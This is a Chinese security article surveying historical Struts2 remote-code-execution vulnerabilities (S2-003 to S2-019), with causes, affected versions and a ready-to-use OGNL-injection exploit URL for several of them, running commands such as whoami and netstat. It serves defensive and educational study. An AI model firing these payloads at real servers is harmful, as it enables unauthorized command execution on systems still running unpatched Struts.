struts2漏洞
首页
文章
漏洞
SRC导航
内容精选
输入关键词搜索
APP 登录| 注册
【技术分享】浅谈struts2历史上的高危漏洞
阅读量 85876 | 稿费 300
分享到: QQ空间 新浪微博 微信 QQ facebook twitter
发布时间:2017-09-04 15:08:06
http://p1.qhimg.com/t01e0225f1ed0463bd6.jpg
作者:Carpediem
预估稿费:300RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
前言
Apache Struts2作为世界上最流行的Java Web框架之义,广泛应用于教育、金融、互联网、通信等重要行业。它的一个高危漏洞危害都有可能造成重大的互联网安全风险和巨大的经济损失。本文旨在对以往的高危漏洞形成原因、受影响的版本以及相应的利用方式进行一次梳理,若有不完善的地方欢迎大家指正。
先来介绍一些基本知识:Struts1是全世界第一个发布的MVC框架,Struts2实在webwork和Struts1的基础上开发的,Struts2和webwork底层都用到了xwork。并且整合了一种更为强大的表达式语言:ognl。基于Struts2框架开发项目的时候,需要引用一些基础的jar包,在Struts 2.0.*的时候,Struts2的必备jar包需要如下5个:
struts2-core-x.x.jar -----------------struts2的核心包
Freemarker-x.x.jar---------------------FreeMarker是一个模板引擎,一个基于模板生成文本输出的通用工具
commons-logging.jar ------------------通用日志记录包
ognl-x.x.jar ——————— ---------支持ognl表达式
xwork-x.x.jar ——————— --------xwork的包 由于Struts2是由xwork的延伸 有些类依然关联着 xwork的类
之后的版本的struts2可能还需要其他的jar包,比如commons-fileupload-1.2.1.jar 支持文件上传的jar包。
apache(http://struts.apache.org/docs/security-bulletins.html)历史上涉及的高危漏洞如下:S2-003,S2-005,S2-007,S2-008,S2-009,S2-012~S2-016,S2-019、S2-032、S2-033、S2-037、S2-045、S2-046、S2-048、DevMode。
一 S2-003、S2-005、S2-007
S2-003
受影响版本:低于Struts 2.0.12
Struts2会将HTTP的每个参数名解析为ognl语句执行(可理解为Java代码)。ognl表达式通过#来访问struts的对象,Struts框架通过过滤#字符防止安全问题,然后通过unicode编码(u0023)或8进制(43)即绕过了安全限制。
S2-005
受影响版本:低于Struts 2.2.1
对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,安全配置被绕过再次导致了漏洞。
EXP:
http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action?%28%2743_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%2743context[%27xwork.MethodAccessor.denyMethodExecution%27]75false%27%29%28b%29%29&%28%2743c%27%29%28%28%2743_memberAccess.excludeProperties75@java.util.Collections@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%2743mycmd75%27whoami%27%27%29%28d%29%29&%28h%29%28%28%2743myret75@java.lang.Runtime@getRuntime%28%29.exec%2843mycmd%29%27%29%28d%29%29&%28i%29%28%28%2743mydat75new40java.io.DataInputStream%2843myret.getInputStream%28%29%29%27%29%28d%29%29&%28j%29%28%28%2743myres75new40byte[51020]%27%29%28d%29%29&%28k%29%28%28%2743mydat.readFully%2843myres%29%27%29%28d%29%29&%28l%29%28%28%2743mystr75new40java.lang.String%2843myres%29%27%29%28d%29%29&%28m%29%28%28%2743myout75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28n%29%28%28%2743myout.getWriter%28%29.println%2843mystr%29%27%29%28d%29%29
执行的“whoami”命令,将会直接写入到showcase.action文件中,并下载到本地。
S2-007
受影响版本:低于Struts 2.2.3.1
S2-007和S2-003、S2-005的漏洞源头都是一样的,都是struts2对OGNL的解析过程中存在漏洞,导致黑客可以通过OGNL表达式实现代码注入和执行,所不同的是:
1. S2-003、S2-005: 通过OGNL的name-value的赋值解析过程、#访问全局静态变量(AOP思想)实现代码执行
2. S2-007: 通过OGNL中String向long转换过程实现代码执行
假设hello.java中定义了一个整数long id,id来自于用户输入,传递一个非整数给id导致错误,struts会将用户的输入当作ongl表达式执行,从而导致了漏洞,因此要想利用此漏洞,程序中必须有可以接受外界输入的id等参数。
EXP:
http://x.x.x.x/hello.action?id='%2b(%23_memberAccess.allowStaticMethodAccess=true,%23context["xwork.MethodAccessor.denyMethodExecution"]=false,%23cmd="ifconfig",%23ret=@java.lang.Runtime@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[500],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%23out=@org.apache.struts2.ServletActionContext@getResponse(),%23out.getWriter().println(%23echo))%2b'
二 S2-009
受影响版本:低于Struts 2.3.1.1
EXP:
http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action?foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27mkdir%20/tmp/PWNAGE%27%29%29%28meh%29&z[%28foo%29%28%27meh%27%29]=true
将会在系统上建立/tmp/PWNAGE文件。
三 S2-012、S2-013
受影响版本:低于Struts 2.3.14.1
struts2中可以通过${express}或%{express}来引用ongl表达式,当配置一个action中有${input}或%{input}且input来自于外部输入时,给input赋值%{exp},从而导致任意代码执行。Struts2标签库中的url标签和a标签的includeParams这个属性,代表显示请求访问参数的含义,一旦它的值被赋予ALL或者GET或者 POST,就会显示具体请求参数内容,问题在于,struts竟然把参数做了OGNL解析。
x.jsp
EXP:
http://x.x.x.x/x.jsp?a=1${(%23_memberAccess["allowStaticMethodAccess"]=true,%23a=@java.lang.Runtime@getRuntime().exec('whoami').getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[50000],%23c.read(%23d),%23sbtest=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23sbtest.println(%23d),%23sbtest.close())}
四 S2-016
受影响版本:低于Struts 2.3.15.1
在struts2中,DefaultActionMapper类支持以”action:”、”redirect:”、”redirectAction:"作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令。
以“redirect”为例进行命令执行:
EXP1:
http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]%20{%27netstat%27,%27-an%27}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%20%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%20%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%20%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}
五 S2-019
Struts 2.0.0 – Struts 2.3.15.1
Struts 2.3.15.2以后的版本默认关闭开发模式, 比较鸡肋。
文章评论